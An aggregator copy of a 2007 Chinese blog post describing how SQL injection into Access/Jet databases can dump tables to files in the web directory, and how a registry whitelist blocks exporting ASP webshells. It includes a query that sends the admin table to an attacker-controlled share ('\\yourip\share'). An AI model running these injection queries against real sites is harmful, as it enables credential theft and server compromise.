惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

GbyAI
GbyAI
B
Blog
Stack Overflow Blog
Stack Overflow Blog
量子位
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
T
Tailwind CSS Blog
MongoDB | Blog
MongoDB | Blog
小众软件
小众软件
博客园 - 三生石上(FineUI控件)
Recent Announcements
Recent Announcements
U
Unit 42
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
腾讯CDC
D
DataBreaches.Net
Microsoft Azure Blog
Microsoft Azure Blog
G
Google Developers Blog
M
MIT News - Artificial intelligence
P
Proofpoint News Feed
罗磊的独立博客
L
LangChain Blog
V
Visual Studio Blog
雷峰网
雷峰网
aimingoo的专栏
aimingoo的专栏
宝玉的分享
宝玉的分享

Xio's

虚惊一场的7.7级地震 | Xio 凌晨,我们一起去看了场流星雨 | Xio 我原本没打算过这个生日 | Xio 我完整看完了一场小学生比赛,因为场上出了一个BUG | Xio 世界杯散场以后 | Xio 江风替我说了 | Xio's 赛博算命说我偏财旺 | Xio's 看不见的流星雨 | Xio's 又通宵了 | Xio's 用AI买彩票,中了二等奖 | Xio's 一封跨越23年的玛法信 | Xio's 惊艳!CodeBuddy初体验 | Xio's 从 Typecho 到 Astro:简单的博客搬运记录 | Xio's 丢了主机,却捡了个自由博客 | Xio's 自定义格式测试 | Xio's Hello Astro | Xio's Model Y:这个阶段的Dream Car | Xio's 擦肩而过的光芒 | Xio's Markdown 语法参考文档 | Xio's 十年投资,最值得持有的标的 | Xio's 独自流浪,只为不留遗憾 | Xio's 足彩路漫漫,笔记不能忘 | Xio's 是时候结束了,是时候开始了... | Xio's 熬不起夜 | Xio's 失眠 | Xio's 恶梦一般,却希望只是个恶梦 | Xio's 世纪大战 | Xio's 一次独自的出发 | Xio's 这样的一个blog,勉强算是开通了吧 | Xio's 报驾校 | Xio's
利用Access SQL注入导出ASP文件的方法 | Xio's
Xio · 2007-03-17 · via Xio's

已经听N个人过说有人已经发现SQL注入Access得到webshell的技术了,也只是听说而已,具体的细节还是不得而知。

最近在看的书中一章提到Jet的安全,然后灵光一闪,呵呵,发现了一种可以利用access导出asp的方法,分享之。

传统的导出方法

几个月之前网上就流传利用SQL注入Access导出数据库内容到文本文件(可导出txt、htm、html等格式)的方法:

Select * into [test.txt] in 'd:\web\' 'text;' from admin

执行上述语句,在d:\web目录下就会生成test.txt文件,其内容就是表admin的内容。但是导出asp格式就不行,会说"不能更新,数据库或对象为只读"。

问题的根源

其实控制导出文件后缀是存储在注册表的,具体键值是:

HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines\Text\DisableExtension

默认情况下值为"!txt,csv,tab,asc,tmp,htm,html",如果我们把asp也添加进去的话,呵呵,就可以导出asp格式的文件了。

这个方法跟那个调用Access的Shell函数执行命令一样,要修改注册表,所以利用不是很大。

扩展思路

顺便提一下,前面提到的导出文本文件的方法如果不知道web路径貌似可以导出到自己机器的哦:

Select * into [test.txt] in '\\yourip\share' 'text;' from admin

实际测试

我在我自己的blog上测试,没有得用注入,直接exec sql语句形成:

Select gb_Author into [222.txt] in 'D:\wwwroot\starstudio\wwwroot\' 'text;' from blog_Guestbook

竟然真生成了txt文件了,当时可以访问 starstudio.cn/222.txt(现在域名已经失效,starstudio已经躺在本地硬盘中了)

不行可以试试访问............利用注点怎么得asp还得好好研究下